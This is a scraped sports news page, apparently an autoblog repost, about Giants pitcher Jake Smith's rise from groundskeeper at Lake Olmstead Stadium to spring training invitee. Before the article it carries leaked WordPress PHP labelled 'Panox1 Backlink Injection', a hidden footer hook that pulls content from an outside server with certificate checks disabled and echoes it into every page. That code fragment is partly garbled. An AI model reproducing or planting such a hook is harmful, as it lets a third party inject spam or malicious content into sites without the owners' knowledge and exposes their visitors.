// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Giants prospect Jake Smith worked way up from grounds crew – Next Sports News

Giants prospect Jake Smith worked way up from grounds crew

[ad_1]

Jake Smith worked his way from groundskeeper at Lake Olmstead Stadium to spring training invitee for the San Francisco Giants.San Jose Giants

Jake Smith worked his way from groundskeeper at Lake Olmstead Stadium to spring training invitee for the San Francisco Giants.

In 2009, Jake Smith was on the Lake Olmstead field maintenance crew, cleaning up after the Augusta GreenJackets Single-A baseball team.

Now, the 25-year-old South Carolina native is at spring training with the San Francisco Giants, full uniform and everything.

“You know the scene from ‘Caddyshack,’ right?” Giants pitching coordinator Bert Bradley told the San Jose Mercury News.

“Former groundskeeper, now leading the Masters…well, we actually have that.”

A college pitcher at Darton State and Campbell University, Smith joined the groundskeeping during the summer after his freshman year, an unpaid gig that filled his free time.

Eventually, he threw in front of Augusta pitching coach Steve Kline.

Then he threw for Giants special assistant Felipe Alou, who tried to get Smith to sign with San Francisco.

Instead, the pitcher transferred to Campbell University in North Carolina.

MARK TEIXEIRA WANTS TO PLAY FIVE MORE SEASONS

AN OCT. 8, 2002 FILE PHOTO.ERIC RISBERG/AP

Jake Smith has slowly worked his way from groundskeeper to Giants prospect.

In 2010, Smith went back for part of the season.

The following year, he was promoted to assistant groundskeeper — and finally earned a paycheck.

In June 2011, Smith was drafted in the 48th round by the Giants, two years after he first joined the maintenance crew.

FOLLOW THE DAILY NEWS SPORTS ON FACEBOOK. “LIKE” US HERE.

He’s thrown 200 innings since 2012, between four teams: the San Jose Giants, the Arizona League Giants, the Salem-Keizer Volcanoes and the GreenJackets.

He’s 9-12, but a 2.93 ERA is promising and he’s converted 21 of 25 save opportunities. Last season, he won the fan vote for the 2015 MiLB Relief Pitcher of the Year.

For usage credit please use; �Warner Bros/Courtesy Everett CollectionWarner Bros/Courtesy Everett Collection

Giants pitching coordinator Bert Bradley compared Jake Smith’s story to Carl Spackler’s (Bill Murray) in “Caddyshack.”

And now, he’s on a major league 40-man roster, added in November to protect him from the Rule 5 Draft.

“I guess it’s pretty cool,” Smith told the newspaper.

“But (the Giants are) the ones who took time out of their day to watch me pitch. I don’t think it would’ve been possible without that.”

kfeldman@nydailynews.com

Tags:
jake smith ,
san francisco giants ,
mlb ,
uplifting stories

This entry passed through the Full-Text RSS service – if this is your content and you’re reading it on someone else’s site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers.

[ad_2]

Source link

Reply